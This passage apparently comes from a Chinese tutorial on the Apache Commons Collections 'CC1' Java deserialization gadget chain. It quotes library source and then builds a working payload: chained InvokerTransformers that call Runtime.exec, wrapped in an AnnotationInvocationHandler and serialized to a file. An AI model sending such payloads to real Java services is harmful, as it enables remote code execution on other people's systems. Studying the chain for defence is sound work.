//----------------------------------------------------------------------- /** * Constructor that wraps (not copies). * <p> * If there are any elements already in the collection being decorated, they * are NOT transformed. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no conversion * @param valueTransformer the transformer to use for value conversion, null means no conversion * @throws IllegalArgumentException if map is null */ protectedTransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){ super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
/** * Factory method to create a transforming map. * <p> * If there are any elements already in the map being decorated, they * are NOT transformed. * Constrast this with {@link #decorateTransform}. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no transformation * @param valueTransformer the transformer to use for value conversion, null means no transformation * @throws IllegalArgumentException if map is null */ publicstatic Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer){ returnnew TransformedMap(map, keyTransformer, valueTransformer); }
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out thrownew java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }
// If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) thrownew AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
然后编写命令执行语句,命令执行的反射方法编写(Runtime类无法被序列化):
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod); new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"}).transform(r);
当然,也可以用CC提供的ChainedTransformer,更加方便:
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "1"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, transformedMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.ser")); objectOutputStream.writeObject(o); } }